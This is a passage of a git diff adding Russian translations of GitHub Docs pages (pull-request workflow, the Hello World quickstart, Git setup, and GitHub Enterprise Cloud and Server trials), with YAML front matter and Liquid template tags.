проблему, свяжите его с ней, чтобы заинтересованные лица знали о запросе на вытягивание, и наоборот. При связывании с помощью ключевого слова проблема автоматически закроется после слияния запроса на вытягивание. Дополнительные сведения см. в разделах [Базовый синтаксис записи и форматирования](/github/writing-on-github/basic-writing-and-formatting-syntax) и [Связывание запроса на вытягивание с проблемой](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue). + +![текст запроса на вытягивание](/assets/images/help/pull_requests/pull-request-body.png) + +Помимо заполнения текста запроса на вытягивание, можно добавить комментарии к определенным его строкам, чтобы привлечь к ним внимание рецензентов. + +![комментарий к запросу на вытягивание](/assets/images/help/pull_requests/pull-request-comment.png) + +Репозиторий может настроить так, чтобы при создании запроса на вытягивание автоматически запрашивалась проверка у определенных команд или пользователей. Можно также вручную упомянуть (@mention) конкретных людей или команды или запросить у них проверку. + +Если в репозитории настроены проверки для запросов на вытягивание, вы увидите все непройденные проверки для вашего запроса на вытягивание. Это помогает узнавать об ошибках перед слиянием ветви. Дополнительные сведения см. в разделе [Сведения о проверках состояния](/github/collaborating-with-issues-and-pull-requests/about-status-checks). + +### Обработка комментариев рецензентов + +Рецензенты должны оставлять вопросы, комментарии и предложения. Они могут комментировать весь запрос на вытягивание или добавлять комментарии к определенным строкам. Вы и рецензенты можете вставлять изображения или предложения в отношении кода для уточнения комментариев. Дополнительные сведения см. в разделе [Проверка изменений в запросах на вытягивание](/github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests). + +В ответ на отзывы можно продолжать фиксировать и отправлять изменения. Запрос на вытягивание будет обновляться автоматически. + +### Слияние запроса на вытягивание + +После утверждения запроса на вытягивание выполните его слияние. Это приведет к автоматическому слиянию ветви, так что изменения отразятся в ветви по умолчанию. На {% data variables.product.prodname_dotcom %} ведется журнал комментариев и фиксаций в запросе на вытягивание, что помогает будущим участникам понять смысл изменений. Дополнительные сведения см. в разделе [Слияние запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request). + +{% data variables.product.prodname_dotcom %} сообщит, есть ли в запросе на вытягивание конфликты, которые необходимо разрешить перед слиянием. Дополнительные сведения см. в разделе [Устранение конфликтов слияния](/github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts). + +Параметры защиты ветви могут блокировать слияние, если запрос на вытягивание не соответствует определенным требованиям. Например, может требоваться определенное количество утверждений или утверждение от определенной команды. Дополнительные сведения см. в разделе [Сведения о защищенных ветвях](/github/administering-a-repository/about-protected-branches). + +### Удаление ветви + +После слияния запроса на вытягивание удалите ветвь. Это означает, что работа с ветвью завершена, и предотвращает случайное использование старых ветвей вами или другими пользователями. Дополнительные сведения см. в разделе [Удаление и восстановление ветвей в запросе на вытягивание](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request). + +Не беспокойтесь о потере информации. Запрос на вытягивание и журнал фиксаций не удаляются. При необходимости всегда можно восстановить удаленную ветвь или вернуть запрос на вытягивание. diff --git a/translations/ru-RU/content/get-started/quickstart/github-glossary.md b/translations/ru-RU/content/get-started/quickstart/github-glossary.md new file mode 100644 index 000000000000..2b36e09b0e13 --- /dev/null +++ b/translations/ru-RU/content/get-started/quickstart/github-glossary.md @@ -0,0 +1,26 @@ +--- +title: GitHub glossary +intro: 'This glossary introduces common Git and {% data variables.product.prodname_dotcom %} terminology.' +redirect_from: + - /articles/github-glossary + - /github/getting-started-with-github/github-glossary + - /github/getting-started-with-github/quickstart/github-glossary +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +--- +{% for glossary in glossaries %} + ### {{ glossary.term }} + {{ glossary.description}} + --- +{% endfor %} + +--- + +## Further reading + +- [The Official Git Glossary](https://www.kernel.org/pub/software/scm/git/docs/gitglossary.html) +- [Git documentation](https://git-scm.com/doc) +- [Git command list](https://git-scm.com/docs) diff --git a/translations/ru-RU/content/get-started/quickstart/hello-world.md b/translations/ru-RU/content/get-started/quickstart/hello-world.md new file mode 100644 index 000000000000..e05c46ce15da --- /dev/null +++ b/translations/ru-RU/content/get-started/quickstart/hello-world.md @@ -0,0 +1,157 @@ +--- +title: Hello World +intro: 'Следуйте инструкциям в этом упражнении Hello World, чтобы приступить к работе с {% data variables.product.product_name %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: quick_start +topics: + - Pull requests + - Fundamentals +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 71278b720bcbfaabc892c396ab7fb558f5309173 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145125864' +--- +## Введение + +{% data variables.product.product_name %} — это платформа размещения кода для управления версиями и совместной работы. Она позволяет вам и другим пользователям работать над проектами вместе из любого места. + +В этом руководстве вы ознакомитесь с основными понятиями {% data variables.product.product_name %}, такими как репозитории, ветви, фиксации и запросы на вытягивание. Вы создадите собственный репозиторий Hello World и ознакомитесь с рабочим процессом запроса на вытягивание в {% data variables.product.product_name %} — популярного способа создания и проверки кода. + +В этом кратком руководстве вы выполните следующие действия: + +* создадите и используете репозиторий; +* создадите ветвь и будете управлять ею; +* внесете изменения в файл и отправите их в {% data variables.product.product_name %} как фиксации; +* откроете запрос на вытягивание и выполните его слияние. + +Для работы с этим руководством вам потребуются [учетная запись {% data variables.product.product_name %}](http://github.com) и доступ к Интернету. Вам не нужно знать, как писать код, использовать командную строку или устанавливать GIT (программное обеспечение для управления версиями, на котором основывается {% data variables.product.product_name %}). Если у вас возникнет вопрос касательно любого из выражений, используемых в руководстве, перейдите к [глоссарию](/get-started/quickstart/github-glossary), чтобы узнать больше о нашей терминологии. + +## Создание репозитория + +Репозиторий обычно используется для упорядочения одного проекта. Репозитории могут содержать папки и файлы, изображения, видео, электронные таблицы и наборы данных — все, что нужно вашему проекту. Репозитории часто включают файл _сведений_ о проекте. Файлы _сведений_ создаются на языке Markdown в виде обычного текста. Эта [памятка](https://www.markdownguide.org/cheat-sheet/) поможет вам приступить к работе с синтаксисом Markdown. {% data variables.product.product_name %} позволяет добавить файл _сведений_ одновременно с созданием репозитория. {% data variables.product.product_name %} также предлагает другие распространенные компоненты, такие как файл лицензии, но пока вам выбирать их не нужно. + +В репозитории `hello-world` можно хранить идеи и ресурсы, а также делиться ими и обсуждать их с другими пользователями. + +{% data reusables.repositories.create_new %} +1. В поле **Имя репозитория** введите `hello-world`. +2. В поле **Описание** напишите краткое описание. +3. Выберите параметр **Добавить файл сведений**. +4. Выберите, будет ли репозиторий **общедоступным** или **частным**. +5. Щелкните **Создать репозиторий**. + + ![Создание репозитория Hello World](/assets/images/help/repository/hello-world-repo.png) + +## Создание ветви + +Ветвление позволяет одновременно иметь разные версии репозитория. + +По умолчанию репозиторий имеет одну ветвь с именем `main`, которая считается главной. В репозитории можно создать дополнительные ветви на основе `main`. Ветви можно использовать для одновременного использования разных версий проекта. Это полезно, если нужно добавить в проект новые функции, не изменяя основной источник кода. Работа, выполняемая в других ветвях, не будет отражаться в главной ветви, пока вы не выполните ее слияние (этот процесс будет рассмотрен далее в руководстве). Ветви можно использовать для проведения экспериментов и внесения изменений перед их фиксацией в `main`. + +Когда вы создаете ветвь на основе ветви `main`, создается копия или моментальный снимок `main` на этот момент времени. Если кто-то другой внес изменения в ветвь `main`, пока вы работали со своей ветвью, вы можете вытянуть эти изменения. + +На этой схеме показано следующее: + +* ветвь `main`; +* новая ветвь с именем `feature`; +* путь, который проходит `feature` до слияния с `main`. + +![Схема ветвления](/assets/images/help/repository/branching.png) + +Приходилось ли вам сохранять разные версии файла? Например, так: + +* `story.txt` +* `story-edit.txt` +* `story-edit-reviewed.txt` + +Ветви в репозиториях {% data variables.product.product_name %} служат аналогичным целям. + +На {% data variables.product.product_name %} разработчики, авторы и дизайнеры используют ветви для хранения исправлений ошибок и результатов работы над функциями отдельно от ветви `main` (рабочей ветви). Когда изменение готово, производится слияние ветви с `main`. + +### Создание ветви + +1. В репозитории `hello-world` перейдите на вкладку **Код**. +2. Откройте раскрывающийся список в верхней части списка файлов, где указано **main**. + ![Меню ветвей](/assets/images/help/branch/branch-selection-dropdown.png) +4. В текстовом поле введите имя ветви `readme-edits`. +5. Нажмите кнопку **Создать ветвь readme-edits на основе main**. + +![Меню ветвей](/assets/images/help/repository/new-branch.png) + +Теперь у вас две ветви: `main` и `readme-edits`. Сейчас они выглядят совершенно одинаково. Далее вы добавите изменения в новую ветвь. + +## Внесение и фиксация изменений + +После создания ветви на предыдущем шаге в {% data variables.product.product_name %} открылась страница кода для новой ветви `readme-edits`, которая является копией ветви `main`. + +Вы можете вносить изменения в файлы в репозитории и сохранять их. В {% data variables.product.product_name %} сохраненные изменения называются фиксациями. С каждой фиксацией связано сообщение о фиксации, в котором объясняется, почему было внесено данное изменение. В сообщениях о фиксациях ведется история изменений, чтобы другие участники могли понять, что вы сделали и почему. + +1. В созданной ветви `readme-edits` щелкните файл _README.md_. +2. Щелкните {% octicon "pencil" aria-label="The edit icon" %}, чтобы изменить файл. +3. В редакторе напишите немного о себе. Попробуйте использовать различные элементы Markdown. +4. В поле **Фиксация изменений** напишите сообщение о фиксации с описанием изменений. +5. Щелкните **Зафиксировать изменения**. + + ![Пример фиксации](/assets/images/help/repository/first-commit.png) + +Эти изменения будут внесены только в файл сведений в вашей ветви `readme-edits`, поэтому теперь ее содержимое отличается от `main`. + +## Открытие запроса на вытягивание + +Теперь, когда у вас есть изменения в ветви, созданной на основе `main`, можно открыть запрос на вытягивание. + +Запросы на вытягивание — это основа совместной работы на {% data variables.product.product_name %}. Когда вы открываете запрос на вытягивание, вы предлагаете свои изменения и просите, чтобы кто-нибудь проверил результаты вашей работы, извлек их и выполнил слияние со своей ветвью. В запросах на вытягивание показаны различия в содержимом двух ветвей. Изменения, дополнения и исключения отображаются разными цветами. + +Сразу после фиксации вы можете открыть запрос на вытягивание и начать обсуждение, даже если код еще не завершен. + +Используя функцию {% data variables.product.product_name %} `@mention` в сообщении с запросом на вытягивание, вы можете запросить отзывы от конкретных пользователей или команд независимо от того, где они находятся физически — этажом ниже или на другом конце света. + +Вы даже можете открывать запросы на вытягивание в собственном репозитории и выполнять их слияние самостоятельно. Это отличный способ ознакомиться с процессом работы на {% data variables.product.product_name %} перед работой над крупными проектами. + +1. В репозитории `hello-world` перейдите на вкладку **Запросы на вытягивание**. +2. Щелкните **Новый запрос на вытягивание**. +3. В поле **Примеры сравнения** выберите созданную вами ветвь `readme-edits`, чтобы сравнить ее с `main` (исходной ветвью). +4. Просмотрите различия на странице сравнения и убедитесь в том, что они готовы к отправке. + + ![Пример различия](/assets/images/help/repository/diffs.png) + +5. Щелкните **Создать запрос на вытягивание**. +6. Укажите заголовок запроса на вытягивание и напишите краткое описание изменений. Вы можете добавлять эмодзи и перетаскивать изображения и GIF-файлы. +7. При необходимости справа от названия и описания щелкните {% octicon "gear" aria-label="The Gear icon" %} рядом с элементом **Рецензенты**, **Уполномоченные**, **Метки**, **Проекты** или **Веха**, чтобы добавить любые из этих элементов в запрос на вытягивание. Пока их добавлять не нужно, но эти параметры обеспечивают различные способы совместной работы с помощью запросов на вытягивание. Дополнительные сведения см. в разделе [Сведения о запросах на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). +7. Щелкните **Создать запрос на вытягивание**. + +Теперь участники совместной работы могут просматривать ваши изменения и вносить предложения. + +## Слияние запроса на вытягивание + +На этом последнем шаге вы выполните слияние ветви `readme-edits` с ветвью `main`. После слияния запроса на вытягивание изменения в вашей ветви `readme-edits` будут включены в `main`. + +Иногда запрос на вытягивание может вносить изменения в код, конфликтующие с существующим кодом в `main`. Если есть конфликты, {% data variables.product.product_name %} оповещает вас об этом и блокирует слияние до их устранения. Вы можете выполнить фиксацию, которая устраняет конфликты, или использовать комментарии в запросе на вытягивание, чтобы обсудить конфликты с участниками команды. + +При выполнении этого пошагового руководства конфликтов не должно быть, поэтому ваша ветвь готова к слиянию с главной. + +1. Нажмите кнопку **Слияние запроса на вытягивание**, чтобы объединить изменения с `main`. + ![Снимок экрана: кнопка слияния.](/assets/images/help/pull_requests/pullrequest-mergebutton.png) +2. Щелкните **Подтвердить слияние**. Вы получите сообщение о том, что запрос был успешно объединен и закрыт. +3. Щелкните **Удалить ветвь**. Теперь, когда запрос на вытягивание объединен и изменения включены в `main`, вы можете спокойно удалить ветвь `readme-edits`. Чтобы внести дополнительные изменения в проект, вы всегда можете создать новую ветвь и повторить этот процесс. + +## Дальнейшие действия + +В этом руководстве вы узнали, как создать проект и отправить запрос на вытягивание на {% data variables.product.product_name %}. + +Вы выполнили следующие задачи: + +* создали репозиторий с открытым кодом; +* создали ветвь и управляли ею; +* изменили файл и зафиксировали изменения в {% data variables.product.product_name %}; +* открыли запрос на вытягивание и выполнили его слияние. + +Откройте свой профиль {% data variables.product.product_name %}, и вы увидите, что на графике участия отразились результаты вашей работы. + +Дополнительные сведения о возможностях ветвей и запросов на вытягивание см. в разделе [Процесс работы в GitHub](/get-started/quickstart/github-flow). Дополнительные сведения о начале работы с {% data variables.product.product_name %} см. в других [кратких руководствах](/get-started/quickstart). diff --git a/translations/ru-RU/content/get-started/quickstart/index.md b/translations/ru-RU/content/get-started/quickstart/index.md new file mode 100644 index 000000000000..201f0a41f4b7 --- /dev/null +++ b/translations/ru-RU/content/get-started/quickstart/index.md @@ -0,0 +1,35 @@ +--- +title: Краткое руководство +intro: 'Начните работу с {% data variables.product.product_name %} для управления репозиториями Git и совместной работы с другими пользователями.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests + - Issues + - Notifications + - Accounts +children: + - /hello-world + - /set-up-git + - /create-a-repo + - /fork-a-repo + - /github-flow + - /contributing-to-projects + - /be-social + - /communicating-on-github + - /github-glossary + - /git-cheatsheet + - /git-and-github-learning-resources +redirect_from: + - /github/getting-started-with-github/quickstart +ms.openlocfilehash: 50362d8bb668b07cbf46e2324403a268266ae656 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145125859' +--- + diff --git a/translations/ru-RU/content/get-started/quickstart/set-up-git.md b/translations/ru-RU/content/get-started/quickstart/set-up-git.md new file mode 100644 index 000000000000..139a7a1ea238 --- /dev/null +++ b/translations/ru-RU/content/get-started/quickstart/set-up-git.md @@ -0,0 +1,91 @@ +--- +title: Настройка Git +redirect_from: + - /git-installation-redirect + - /linux-git-installation + - /linux-set-up-git + - /mac-git-installation + - /mac-set-up-git + - /set-up-git-redirect + - /win-git-installation + - /win-set-up-git + - /articles/set-up-git + - /github/getting-started-with-github/set-up-git + - /github/getting-started-with-github/quickstart/set-up-git +intro: 'В основе {% data variables.product.prodname_dotcom %} лежит система управления версиями с открытым кодом (VCS) под названием Git. Git отвечает за все, что связано с {% data variables.product.prodname_dotcom %} и происходит локально на вашем компьютере.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests + - Issues + - Notifications + - Accounts +ms.openlocfilehash: d12782f8531ec856cfa25e7d847527a26e84fb2e +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147643960' +--- +## С помощью Git + +Для работы с Git в командной строке необходимо скачать, установить и настроить Git на компьютере. Также вы можете установить {% data variables.product.prodname_cli %} для работы с {% data variables.product.prodname_dotcom %} из командной строки. Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli). + +Если вы хотите работать с Git локально без использования командной строки, скачайте и установите клиент [{% data variables.product.prodname_desktop %}]({% data variables.product.desktop_link %}). Дополнительные сведения см. в разделе [Установка и настройка {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/). + +Если вам не требуется работать с файлами локально, множество связанных с Git действий можно выполнять с помощью {% data variables.product.product_name %} непосредственно в браузере: + +- [Создание репозитория](/articles/create-a-repo) +- [Создание вилки репозитория](/articles/fork-a-repo) +- [Управление файлами](/repositories/working-with-files/managing-files) +- [Взаимодействие с сообществом](/articles/be-social) + +## Настройка Git + +1. [Скачайте и установите последнюю версию Git](https://git-scm.com/downloads). + + {% note %} + + **Примечание**. На устройствах с Chrome OS потребуется дополнительная настройка: + + 1. Установите на устройство с Chrome OS эмулятор терминала, например Termux, из Google Play Маркет. + 1. Установите Git из установленного эмулятора терминала. Например, в Termux введите `apt install git` и затем `y` при появлении запроса. + + {% endnote %} + +1. [Настройте имя пользователя в Git](/github/getting-started-with-github/setting-your-username-in-git). +1. [Укажите адрес электронной почты для фиксаций в Git](/articles/setting-your-commit-email-address). + +## Проверка подлинности с помощью {% data variables.product.prodname_dotcom %} из Git + +При подключении к репозиторию {% data variables.product.prodname_dotcom %} из Git необходимо пройти проверку подлинности в {% data variables.product.product_name %} с использованием протокола HTTPS или SSH. + +{% note %} + +**Примечание**. Для проверки подлинности в {% data variables.product.product_name %} можно использовать {% data variables.product.prodname_cli %} для HTTP или SSH. Дополнительные сведения см. на веб-сайте [`gh auth login`](https://cli.github.com/manual/gh_auth_login). + +{% endnote %} + +### Подключение по протоколу HTTPS (рекомендуется) + +При клонировании по протоколу HTTPS вы можете кэшировать учетные данные {% data variables.product.prodname_dotcom %} в Git с помощью вспомогательного приложения для управления учетными данными. Дополнительные сведения см. в разделах [Клонирование с помощью URL-адресов HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls) и [Кэширование учетных данных {% data variables.product.prodname_dotcom %} в Git](/github/getting-started-with-github/caching-your-github-credentials-in-git). + +### Подключение по протоколу SSH + +При клонировании по протоколу SSH необходимо создать ключи SSH на каждом компьютере, который будет использоваться для отправки или извлечения данных из {% data variables.product.product_name %}. Дополнительные сведения см. в разделах [Клонирование с помощью URL-адресов SSH](/github/getting-started-with-github/about-remote-repositories/#cloning-with-ssh-urls) и [Создание нового ключа SSH](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent). + +## Дальнейшие действия + +Настройка Git и {% data variables.product.prodname_dotcom %} завершена. Теперь вы можете создать репозиторий, в котором будут размещаться ваши проекты. В репозитории вы можете хранить резервные копии своего кода и обеспечить возможность доступа к нему пользователям по всему миру. + +* {% data reusables.getting-started.create-a-repository %}. + +* {% data reusables.getting-started.fork-a-repository %} + +* {% data reusables.getting-started.being-social %} + + +* {% data reusables.support.connect-in-the-forum-bootcamp %} diff --git a/translations/ru-RU/content/get-started/signing-up-for-github/index.md b/translations/ru-RU/content/get-started/signing-up-for-github/index.md new file mode 100644 index 000000000000..651b50ae7fe6 --- /dev/null +++ b/translations/ru-RU/content/get-started/signing-up-for-github/index.md @@ -0,0 +1,26 @@ +--- +title: Регистрация на GitHub +intro: 'Начните использовать {% data variables.product.prodname_dotcom %} для себя и своей команды.' +redirect_from: + - /articles/signing-up-for-github + - /github/getting-started-with-github/signing-up-for-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts +children: + - /signing-up-for-a-new-github-account + - /verifying-your-email-address + - /setting-up-a-trial-of-github-enterprise-cloud + - /setting-up-a-trial-of-github-enterprise-server +ms.openlocfilehash: d533092609c80665a8a4cdbc7a646a9a42365d57 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145125811' +--- + diff --git a/translations/ru-RU/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md b/translations/ru-RU/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md new file mode 100644 index 000000000000..5d39981bfdc5 --- /dev/null +++ b/translations/ru-RU/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md @@ -0,0 +1,84 @@ +--- +title: Setting up a trial of GitHub Enterprise Cloud +intro: 'You can try {% data variables.product.prodname_ghe_cloud %} for free.' +redirect_from: + - /articles/setting-up-a-trial-of-github-enterprise-cloud + - /github/getting-started-with-github/setting-up-a-trial-of-github-enterprise-cloud + - /github/getting-started-with-github/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud +versions: + fpt: '*' + ghec: '*' + ghes: '*' +topics: + - Accounts +shortTitle: Enterprise Cloud trial +--- + +{% data reusables.enterprise.ghec-cta-button %} + + +## About {% data variables.product.prodname_ghe_cloud %} + +{% data variables.product.prodname_ghe_cloud %} is a plan for large businesses or teams who collaborate on {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise.about-github-for-enterprises %} + +{% data reusables.organizations.about-organizations %} For more information about accounts, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)." + +You can use organizations for free with {% data variables.product.prodname_free_team %}, which includes limited features. For additional features, such as SAML single sign-on (SSO), access control for {% data variables.product.prodname_pages %}, and included {% data variables.product.prodname_actions %} minutes, you can upgrade to {% data variables.product.prodname_ghe_cloud %}. For a detailed list of the features available with {% data variables.product.prodname_ghe_cloud %}, see our [Pricing](https://github.com/pricing) page. + +You can set up a trial of {% data variables.product.prodname_ghe_cloud %} to evaluate these additional features on a new or existing organization account. + +Trials are also available for {% data variables.product.prodname_ghe_server %}. For more information, see "[Setting up a trial of {% data variables.product.prodname_ghe_server %}](/articles/setting-up-a-trial-of-github-enterprise-server)." + +{% data reusables.products.which-product-to-use %} + +## About trials of {% data variables.product.prodname_ghe_cloud %} + +You can set up a 30-day trial to evaluate {% data variables.product.prodname_ghe_cloud %}. You do not need to provide a payment method during the trial unless you add {% data variables.product.prodname_marketplace %} apps to your organization that require a payment method. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/enterprise-cloud@latest/articles/about-billing-for-github-marketplace/)." + +Your trial includes 50 seats. If you need more seats to evaluate {% data variables.product.prodname_ghe_cloud %}, contact {% data variables.contact.contact_enterprise_sales %}. At the end of the trial, you can choose a different number of seats. + +{% data reusables.saml.saml-accounts %} + +For more information, see "[About identity and access management with SAML single sign-on](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on){% ifversion not ghec %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} + +{% data variables.product.prodname_emus %} is not part of the free trial of {% data variables.product.prodname_ghe_cloud %}. If you're interested in {% data variables.product.prodname_emus %}, please contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact). + +## Setting up your trial of {% data variables.product.prodname_ghe_cloud %} + +Before you can try {% data variables.product.prodname_ghe_cloud %}, you must be signed into a personal account. If you don't already have a personal account on {% data variables.product.prodname_dotcom_the_website %}, you must create one. For more information, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/free-pro-team@latest/articles/signing-up-for-a-new-github-account)." + +1. Navigate to [{% data variables.product.prodname_dotcom %} for enterprises](https://github.com/enterprise). +1. Click **Start a free trial**. + !["Start a free trial" button](/assets/images/help/organizations/start-a-free-trial-button.png) +1. Click **Enterprise Cloud**. + !["Enterprise Cloud" button](/assets/images/help/organizations/enterprise-cloud-trial-option.png) +1. Follow the prompts to configure your trial. + +## Exploring {% data variables.product.prodname_ghe_cloud %} + +After you set up your trial, you can explore {% data variables.product.prodname_ghe_cloud %} by following the suggested tasks on the "Overview" tab of your organization. If you've previously dismissed the tasks, you can access them again by clicking **Get started with suggested tasks** at the top of the page. + +!["Get started with suggested tasks" button](/assets/images/help/organizations/suggested-tasks-button.png) + +{% data reusables.docs.you-can-read-docs-for-your-product %} + +{% data reusables.enterprise.best-practices %} + +{% data reusables.products.product-roadmap %} + +## Finishing your trial + +You can buy {% data variables.product.prodname_enterprise %} at any time during your trial. Purchasing {% data variables.product.prodname_enterprise %} ends your trial, removing the 50-seat maximum and initiating payment. + +If you don't purchase {% data variables.product.prodname_enterprise %}, when the trial ends, your organization will be downgraded. If you used an existing organization for the trial, the organization will be downgraded to the product you were using before the trial. If you created a new organization for the trial, the organization will be downgraded to {% data variables.product.prodname_free_team %}. + +Your organization will lose access to any functionality that is not included in the new product, such as advanced features like {% data variables.product.prodname_pages %} for private repositories. If you don't plan to upgrade, to avoid losing access to advanced features, consider making affected repositories public before your trial ends. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)." + +Downgrading also disables any SAML settings configured during the trial period. If you later purchase {% data variables.product.prodname_enterprise %}, your SAML settings will be enabled again for users in your organization to authenticate. + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.billing_plans %} +5. Under "{% data variables.product.prodname_ghe_cloud %} Free Trial", click **Buy Enterprise** or **Downgrade to Team**. + ![Buy Enterprise and Downgrade to Team buttons](/assets/images/help/organizations/finish-trial-buttons.png) +6. Follow the prompts to enter your payment method, then click **Submit**. diff --git a/translations/ru-RU/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md b/translations/ru-RU/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md new file mode 100644 index 000000000000..1545505a56a4 --- /dev/null +++ b/translations/ru-RU/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md @@ -0,0 +1,75 @@ +--- +title: Настройка пробной версии GitHub Enterprise Server +intro: 'Можно бесплатно ознакомиться с возможностями {% data variables.product.prodname_ghe_server %}.' +redirect_from: + - /articles/requesting-a-trial-of-github-enterprise + - /articles/setting-up-a-trial-of-github-enterprise-server + - /github/getting-started-with-github/setting-up-a-trial-of-github-enterprise-server + - /github/getting-started-with-github/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server +versions: + fpt: '*' + ghec: '*' + ghes: '*' +topics: + - Accounts +shortTitle: Enterprise Server trial +ms.openlocfilehash: 9beee350488bdf27beb7107deda3c44f560d29e9 +ms.sourcegitcommit: 0a6e3eee6eea9b1e445aea1e4461d64cf6b63218 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148163565' +--- +## Сведения о пробных версиях {% data variables.product.prodname_ghe_server %} + +Вы можете запросить 45-дневную пробную версию {% data variables.product.prodname_ghe_server %} и оценить ее работу. Пробная версия будет установлена как виртуальный модуль с вариантами локального или облачного развертывания. Дополнительные сведения о {% data variables.product.prodname_ghe_server %}, а также список поддерживаемых платформ виртуализации см. в разделе [Сведения о {% data variables.product.prodname_ghe_server %}](/enterprise-server/admin/overview/about-github-enterprise-server). + +Оповещения {% ifversion ghes %}{% data variables.product.prodname_dependabot %}{% else %}системы безопасности{% endif %} и {% data variables.product.prodname_github_connect %} в настоящее время недоступны в пробных версиях {% data variables.product.prodname_ghe_server %}. Для демонстрации этих функций обратитесь в {% data variables.contact.contact_enterprise_sales %}. Дополнительные сведения об этих функциях см. в разделах [Сведения о {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies) и [Подключение корпоративной учетной записи к {% data variables.product.prodname_ghe_cloud %}](/enterprise-server@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud). + +Пробные версии также доступны для {% data variables.product.prodname_ghe_cloud %}. Дополнительные сведения см. в разделе [Настройка пробной версии {% data variables.product.prodname_ghe_cloud %}](/articles/setting-up-a-trial-of-github-enterprise-cloud). + +{% data reusables.products.which-product-to-use %} + +## Настройка пробной версии {% data variables.product.prodname_ghe_server %} + +{% data variables.product.prodname_ghe_server %} устанавливается в качестве виртуального модуля. Выберите наиболее подходящего специалиста в организации для настройки виртуальной машины и попросите его отправить [запрос на пробную версию](https://enterprise.github.com/trial). Пробную версию можно начать использовать сразу после отправки запроса. + +Чтобы настроить учетную запись для веб-портала {% data variables.product.prodname_enterprise %}, щелкните ссылку в сообщении электронной почты, полученном после отправки запроса на пробную версию, и следуйте инструкциям. Затем скачайте файл лицензии. Дополнительные сведения см. в разделе [Управление лицензией для {% data variables.product.prodname_enterprise %}](/enterprise-server@latest/billing/managing-your-license-for-github-enterprise). + +Чтобы установить {% data variables.product.prodname_ghe_server %}, скачайте необходимые компоненты и отправьте файл лицензии. Дополнительные сведения см. в инструкциях для выбранной платформы визуализации в разделе [Настройка экземпляра {% data variables.product.prodname_ghe_server %}](/enterprise-server@latest/admin/installation/setting-up-a-github-enterprise-server-instance). + +## Дальнейшие действия + +Чтобы максимально эффективно использовать пробную версию, выполните указанные ниже действия. + +1. [Создайте организации](/enterprise-server@latest/admin/user-management/creating-organizations). +2. Основные сведения об использовании {% data variables.product.prodname_dotcom %} см. в следующих ресурсах: + - Веб-трансляция [Введение в {% data variables.product.prodname_dotcom %}](https://resources.github.com/devops/methodology/maximizing-devops-roi/) + - Раздел [Общие сведения о потоке {% data variables.product.prodname_dotcom %}](https://guides.github.com/introduction/flow/) в руководствах {% data variables.product.prodname_dotcom %} + - Раздел [Hello World](https://guides.github.com/activities/hello-world/) в руководствах {% data variables.product.prodname_dotcom %} + - [Сведения о версиях {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs) +3. Сведения о настройке экземпляра в соответствии с потребностями организации см. в разделе [Настройка организации](/enterprise-server@latest/admin/configuration/configuring-your-enterprise). +4. Сведения об интеграции {% data variables.product.prodname_ghe_server %} с поставщиком удостоверений см. в разделах [Использование SAML](/enterprise-server@latest/admin/user-management/using-saml) и [Использование LDAP](/enterprise-server@latest/admin/authentication/using-ldap). +5. Пригласите неограниченное количество пользователей в пробную версию. + - Добавьте пользователей в экземпляр {% data 